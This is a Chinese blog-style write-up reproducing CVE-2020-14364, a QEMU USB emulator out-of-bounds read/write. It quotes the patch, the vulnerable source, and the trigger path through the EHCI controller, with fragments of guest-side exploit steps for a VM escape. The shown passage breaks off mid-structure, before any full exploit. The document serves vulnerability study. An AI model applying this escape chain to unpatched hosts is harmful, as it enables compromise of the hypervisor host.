CVE-2020-14364 Qemu越界读写漏洞复现与分析

CVE-2020-14364 Qemu越界读写漏洞复现与分析

前言

该漏洞是长亭的师傅发现的,被称为是qemu历史上最严重的漏洞,本篇文章旨在复现该漏洞,理解漏洞产生原因及利用链,最终达成逃逸,由于涉及到的东西太多,不能和以前一样把所有东西都弄好再总结成博客,打算边做边记录,康康这样对整理思路是不是更好一点。

环境搭建

在虚拟机中连了一个真实的USB2.0设备,并且根据这篇文章CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路制造了一个.img文件模拟USB的文件系统,启动脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
qemu-system-x86_64 \
-enable-kvm \
-m 1G -nographic \
-hda /home/wz/Desktop/CTF/CVE-2020-14364/start_qemu/qemu.img \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::2222-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./disk_01.img \
-device ich9-usb-ehci1,id=usb \
-device usb-storage,drive=disk1 \

漏洞分析

直接看下CVE的官方描述,漏洞产生于qemu中模拟USB的部分。

  • An out-of-bounds read/write access flaw was found in the USB emulator of the QEMU in versions before 5.2.0. This issue occurs while processing USB packets from a guest when USBDevice ‘setup_len’ exceeds its ‘data_buf[4096]’ in the do_token_in, do_token_out routines. This flaw allows a guest user to crash the QEMU process, resulting in a denial of service, or the potential execution of arbitrary code with the privileges of the QEMU process on the host.

usb: fix setup_len init CVE-2020-14364看下patch的内容,setup_len是在赋值后才判断的,即使超过了限制,该处return也不会回滚其原始值,而是继续向后运行,从而在后面的do_token_in/do_token_out中产生越界读和越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
---
hw/usb/core.c | 16 ++++++++++------
1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/hw/usb/core.c b/hw/usb/core.c
index 5abd128b6bc5..5234dcc73fea 100644
--- a/hw/usb/core.c
+++ b/hw/usb/core.c
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
+ unsigned int setup_len;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d >
%zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
@@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p)
static void do_parameter(USBDevice *s, USBPacket *p)
{
int i, request, value, index;
+ unsigned int setup_len;

for (i = 0; i < 8; i++) {
s->setup_buf[i] = p->parameter >> (i*8);
}

s->setup_state = SETUP_STATE_PARAM;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
s->setup_index = 0;

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d >
%zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;

if (p->pid == USB_TOKEN_OUT) {
usb_packet_copy(p, s->data_buf, s->setup_len);
--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
//USB数据包
struct USBPacket {
/* Data fields for use by the driver. */
int pid;
uint64_t id;
USBEndpoint *ep;
unsigned int stream;
QEMUIOVector iov;
uint64_t parameter; /* control transfers */
bool short_not_ok;
bool int_req;
int status; /* USB_RET_* status code */
int actual_length; /* Number of bytes actually transferred */
/* Internal use by the USB layer. */
USBPacketState state;
USBCombinedPacket *combined;
QTAILQ_ENTRY(USBPacket) queue;
QTAILQ_ENTRY(USBPacket) combined_entry;
};
//模拟的USB设备数据结构
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];//拷贝的对象
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
//
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;//可控
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);//越界读
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}
//
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index; //可控
if (len > p->iov.size) { //可控
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);//越界写
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}
//usb_packet_copy中再根据p->pid决定是读还是写
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}

读写函数

USB内存初始化

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);映射到usb 设备的内存。

usb_ehci_pci_init将opreg的基址opregbase设置为了0x20,对这块内存读写即可对opreg的内容进行读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;

s->caps[0x09] = 0x68; /* EECP */

s->capsbase = 0x00;
s->opregbase = 0x20;
s->portscbase = 0x44;
s->portnr = NB_PORTS;

if (!dc->hotpluggable) {
s->companion_enable = true;
}

usb_ehci_init(s, DEVICE(obj));
}

opreg的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};

usb_ehci_init函数里注册了对于opreg读写的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;

QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);

memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);

memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}
//
static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

看一下这里的读写函数,读函数读取addr + s->opregbase的内容到addr给用户,比如我们调用*((uint64_t*)(mmio_mem + 0x20))实际上这里的addr为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static uint64_t ehci_opreg_read(void *ptr, hwaddr addr,
unsigned size)
{
EHCIState *s = ptr;
uint32_t val;

switch (addr) {
case FRINDEX:
/* Round down to mult of 8, else it can go backwards on migration */
val = s->frindex & ~7;
break;
default:
val = s->opreg[addr >> 2];
}

trace_usb_ehci_opreg_read(addr + s->opregbase, addr2str(addr), val);
return val;
}

再来看下写函数,加入我们调用mmio_write(0x20,0x1234),实际上传入的addr=0,会对usbcmd进行赋值s->usbcmd = val,在最后有一个*mmio = val;,代换一下就是*(s->opreg + (addr >> 2)) = val,因此我们可以控制opreg的其他成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//
static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;

trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

switch (addr) {
case USBCMD:
if (val & USBCMD_HCRESET) {
ehci_reset(s);
val = s->usbcmd;
break;
}

/* not supporting dynamic frame list size at the moment */
if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) {
fprintf(stderr, "attempt to set frame list size -- value %d\n",
(int)val & USBCMD_FLS);
val &= ~USBCMD_FLS;
}

if (val & USBCMD_IAAD) {
/*
* Process IAAD immediately, otherwise the Linux IAAD watchdog may
* trigger and re-use a qh without us seeing the unlink.
*/
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
trace_usb_ehci_doorbell_ring();
}

if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) {
if (s->pstate == EST_INACTIVE) {
SET_LAST_RUN_CLOCK(s);
}
s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
ehci_update_halt(s);
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
}
break;

case USBSTS:
val &= USBSTS_RO_MASK; // bits 6 through 31 are RO
ehci_clear_usbsts(s, val); // bits 0 through 5 are R/WC
val = s->usbsts;
ehci_update_irq(s);
break;

case USBINTR:
val &= USBINTR_MASK;
if (ehci_enabled(s) && (USBSTS_FLR & val)) {
qemu_bh_schedule(s->async_bh);
}
break;

case FRINDEX:
val &= 0x00003fff; /* frindex is 14bits */
s->usbsts_frindex = val;
break;

case CONFIGFLAG:
val &= 0x1;
if (val) {
for(i = 0; i < NB_PORTS; i++)
handle_port_owner_write(s, i, 0);
}
break;

case PERIODICLISTBASE:
if (ehci_periodic_enabled(s)) {
fprintf(stderr,
"ehci: PERIODIC list base register set while periodic schedule\n"
" is enabled and HC is enabled\n");
}
break;

case ASYNCLISTADDR:
if (ehci_async_enabled(s)) {
fprintf(stderr,
"ehci: ASYNC list address register set while async schedule\n"
" is enabled and HC is enabled\n");
}
break;
}

*mmio = val;
trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
*mmio, old);
}

漏洞利用

漏洞触发

首先一个朴素的问题是如何触发到漏洞,这也是前两天给我劝退的一个问题,这两天想了一下没有很多参考资料的情况应该是常态,应该hack to learn, not learn to hack,边走边看,而不是等准备好了储备知识再上手。抱着这样的想法,捡起来之前断掉的部分继续看。

查看交叉引用,可以找到ehci_work_bh->ehci_advance_periodic_state->ehci_advance_state->ehci_state_execute->ehci_execute->usb_handle_packet->usb_process_one,再往前找就没有调用函数了。因此我们从头开始一步步看需要满足那些条件才能触发越界读写。

ehci_work_bh函数中,我们需要满足ehci_periodic_enabled(ehci)或者ehci->pstate != EST_INACTIVE,这里我们选择满足前者,具体到变量上需要赋值使得s->usbcmd & USBCMD_RUNSTOP以及s->usbcmd & USBCMD_PSEehci_update_frindex(ehci, 1);的函数调用每次都会使得ehci->frindex++,故其总会增加到8(最大循环数为24).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#define MIN_UFR_PER_TICK 24       /* Min frames to process when catching up */

struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;

/* properties */
uint32_t maxframes;

/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];

/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;

/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;

USBPacket ipacket;
QEMUSGList isgl;

uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};

static void ehci_work_bh(void *opaque)
{ //...
if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE) {
need_timer++;

if (uframes > (ehci->maxframes * 8)) {
skipped_uframes = uframes - (ehci->maxframes * 8);
ehci_update_frindex(ehci, skipped_uframes);
ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes;
uframes -= skipped_uframes;
DPRINTF("WARNING - EHCI skipped %d uframes\n", skipped_uframes);
}

for (i = 0; i < uframes; i++) {
/*
* If we're running behind schedule, we should not catch up
* too fast, as that will make some guests unhappy:
* 1) We must process a minimum of MIN_UFR_PER_TICK frames,
* otherwise we will never catch up
* 2) Process frames until the guest has requested an irq (IOC)
*/
if (i >= MIN_UFR_PER_TICK) {
ehci_commit_irq(ehci);
if ((ehci->usbsts & USBINTR_MASK) & ehci->usbintr) {
break;
}
}
if (ehci->periodic_sched_active) {
ehci->periodic_sched_active--;
}
ehci_update_frindex(ehci, 1);
if ((ehci->frindex & 7) == 0) {
ehci_advance_periodic_state(ehci);
}
ehci->last_run_ns += UFRAME_TIMER_NS;
}
}
}
//
static inline bool ehci_periodic_enabled(EHCIState *s)
{
return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE);
}
//
static inline bool ehci_enabled(EHCIState *s)
{
return s->usbcmd & USBCMD_RUNSTOP;
}
//ehci->frindex = (ehci->frindex + uframes) % 0x4000;

分析ehci_advance_periodic_state函数如何调用到ehci_advance_state,因为进这个函数的时候ehci->frindex & 7已经成立了,所以下面的两个if都是必过的,ehci->periodiclistbase对齐0x1000得到list,只要list不为0即可。之后list |= ((ehci->frindex & 0x1ff8) >> 1)经过调试会对list+4。在开始的时候我们设置EHCIState的时候调用mmio_write(0x34,virt2phys(dma_buf))periodiclistbase设置为dma_buf的物理地址,随后list=virt2phys(dma_buf)+4,再之后的get_dwords从list中读取值赋值给entry,开始的时候我们在这里布置virt2phys(qh)+0x2,最后将entry通过ehci_set_fetch_addr赋值给ehci->p_fetch_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
static void ehci_advance_periodic_state(EHCIState *ehci)
{
uint32_t entry;
uint32_t list;
const int async = 0;

// 4.6

switch(ehci_get_state(ehci, async)) {
case EST_INACTIVE:
if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;

case EST_ACTIVE:
if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}

list = ehci->periodiclistbase & 0xfffff000;
/* check that register has been set */
if (list == 0) {
break;
}
list |= ((ehci->frindex & 0x1ff8) >> 1);

if (get_dwords(ehci, list, &entry, 1) < 0) {
break;
}

DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex / 8, list, entry);
ehci_set_fetch_addr(ehci, async,entry);
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async); //这里
ehci_queues_rip_unused(ehci, async);
break;

default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}

/* Get an array of dwords from main memory */
static inline int get_dwords(EHCIState *ehci, uint32_t addr,
uint32_t *buf, int num)
{
int i;

if (!ehci->as) {
ehci_raise_irq(ehci, USBSTS_HSE);
ehci->usbcmd &= ~USBCMD_RUNSTOP;
trace_usb_ehci_dma_error();
return -1;
}

for (i = 0; i < num; i++, buf++, addr += sizeof(*buf)) {
dma_memory_read(ehci->as, addr, buf, sizeof(*buf));//从
*buf = le32_to_cpu(*buf);
}

return num;
}
//
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr; //进到这里
}
}

进入ehci_advance_state函数查看如何调用到ehci_state_execute函数。看注释该函数是个状态机。根据s->pstate进行状态判断需要进入哪个分支,经过调试每次都会先进入EST_FETCHENTRY,调用ehci_state_fetchentry函数。该函数里通过NLPTR_TYPE_GET(entry)的返回值进一步设置状态,这里以entry/2的单字节作为状态码,共有四种状态。回想一下刚刚我们将entry设置为virt2phys(qh)+0x2,因为对齐的关系,最后1字节一定是2,故(2/2)&3=1,对应将状态设置为NLPTR_TYPE_QH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
/*
* This is the state machine that is common to both async and periodic
*/

static void ehci_advance_state(EHCIState *ehci, int async)
{
EHCIQueue *q = NULL;
int itd_count = 0;
int again;

do {
switch(ehci_get_state(ehci, async)) {
case EST_WAITLISTHEAD:
again = ehci_state_waitlisthead(ehci, async);
break;

case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;

case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL) {
assert(q->async == async);
again = 1;
} else {
again = 0;
}
break;

case EST_FETCHITD:
again = ehci_state_fetchitd(ehci, async);
itd_count++;
break;

case EST_FETCHSITD:
again = ehci_state_fetchsitd(ehci, async);
itd_count++;
break;

case EST_ADVANCEQUEUE:
assert(q != NULL);
again = ehci_state_advqueue(q);
break;

case EST_FETCHQTD:
assert(q != NULL);
again = ehci_state_fetchqtd(q);
break;

case EST_HORIZONTALQH:
assert(q != NULL);
again = ehci_state_horizqh(q);
break;

case EST_EXECUTE:
assert(q != NULL); //条件
again = ehci_state_execute(q);
if (async) {
ehci->async_stepdown = 0;
}
break;

case EST_EXECUTING:
assert(q != NULL);
if (async) {
ehci->async_stepdown = 0;
}
again = ehci_state_executing(q);
break;

case EST_WRITEBACK:
assert(q != NULL);
again = ehci_state_writeback(q);
if (!async) {
ehci->periodic_sched_active = PERIODIC_ACTIVE;
}
break;

default:
fprintf(stderr, "Bad state!\n");
again = -1;
g_assert_not_reached();
break;
}

if (again < 0 || itd_count > 16) {
/* TODO: notify guest (raise HSE irq?) */
fprintf(stderr, "processing error - resetting ehci HC\n");
ehci_reset(ehci);
again = 0;
}
}
while (again);
}
//----------------------------------------------------------------
/* This state is the entry point for periodic schedule processing as
* well as being a continuation state for async processing.
*/
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);

if (NLPTR_TBIT(entry)) {
ehci_set_state(ehci, async, EST_ACTIVE);
goto out;
}

/* section 4.8, only QH in async schedule */
if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) {
fprintf(stderr, "non queue head request in async schedule\n");
return -1;
}
//#define NLPTR_TYPE_QH 1 // queue head
switch (NLPTR_TYPE_GET(entry)) { //#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);
again = 1;
break;

case NLPTR_TYPE_ITD:
ehci_set_state(ehci, async, EST_FETCHITD);
again = 1;
break;

case NLPTR_TYPE_STITD:
ehci_set_state(ehci, async, EST_FETCHSITD);
again = 1;
break;

default:
/* TODO: handle FSTN type */
fprintf(stderr, "FETCHENTRY: entry at %X is of type %d "
"which is not supported yet\n", entry, NLPTR_TYPE_GET(entry));
return -1;
}

out:
return again;
}

状态机是个不断切换状态的循环,因此接下来会进入EST_FETCHQH,调用ehci_state_fetchqh,在这个函数中并没有直接将状态转换为EST_EXECUTE的部分,我们需要先进入到EST_FETCHQTD分支。为此我们需要设置q->qh.token & (1<<7)q->qh.current_qtd最后一位为0,q->qh.current_qtd != 0。qh是通过get_dwords(ehci, NLPTR_GET(q->qhaddr),(uint32_t *) &qh, sizeof(EHCIqh) >> 2)函数根据entry来查找的,因此我们也可以控制qh的内容。ehci_find_device函数里有一个检查ehci->portsc[i] & PORTSC_PED(这里多谢Resery师傅指教),而这个设置是通过ehci_port_write来做的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#define QTD_TOKEN_ACTIVE              (1 << 7)

#define NLPTR_TBIT(x) ((x) & 1) // 1=invalid, 0=valid

struct EHCIQueue {
EHCIState *ehci;
QTAILQ_ENTRY(EHCIQueue) next;
uint32_t seen;
uint64_t ts;
int async;
int transact_ctr;

/* cached data from guest - needs to be flushed
* when guest removes an entry (doorbell, handshake sequence)
*/
EHCIqh qh; /* copy of current QH (being worked on) */
uint32_t qhaddr; /* address QH read from */
uint32_t qtdaddr; /* address QTD read from */
int last_pid; /* pid of last packet executed */
USBDevice *dev;
QTAILQ_HEAD(, EHCIPacket) packets;
};

/* EHCI spec version 1.0 Section 3.6
*/
typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;
#define QH_EPCHAR_RL_MASK 0xf0000000
#define QH_EPCHAR_RL_SH 28
#define QH_EPCHAR_C (1 << 27)
#define QH_EPCHAR_MPLEN_MASK 0x07FF0000
#define QH_EPCHAR_MPLEN_SH 16
#define QH_EPCHAR_H (1 << 15)
#define QH_EPCHAR_DTC (1 << 14)
#define QH_EPCHAR_EPS_MASK 0x00003000
#define QH_EPCHAR_EPS_SH 12
#define EHCI_QH_EPS_FULL 0
#define EHCI_QH_EPS_LOW 1
#define EHCI_QH_EPS_HIGH 2
#define EHCI_QH_EPS_RESERVED 3

#define QH_EPCHAR_EP_MASK 0x00000f00
#define QH_EPCHAR_EP_SH 8
#define QH_EPCHAR_I (1 << 7)
#define QH_EPCHAR_DEVADDR_MASK 0x0000007f
#define QH_EPCHAR_DEVADDR_SH 0

/* endpoint capabilities */
uint32_t epcap;
#define QH_EPCAP_MULT_MASK 0xc0000000
#define QH_EPCAP_MULT_SH 30
#define QH_EPCAP_PORTNUM_MASK 0x3f800000
#define QH_EPCAP_PORTNUM_SH 23
#define QH_EPCAP_HUBADDR_MASK 0x007f0000
#define QH_EPCAP_HUBADDR_SH 16
#define QH_EPCAP_CMASK_MASK 0x0000ff00
#define QH_EPCAP_CMASK_SH 8
#define QH_EPCAP_SMASK_MASK 0x000000ff
#define QH_EPCAP_SMASK_SH 0

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;
#define QH_ALTNEXT_NAKCNT_MASK 0x0000001e
#define QH_ALTNEXT_NAKCNT_SH 1

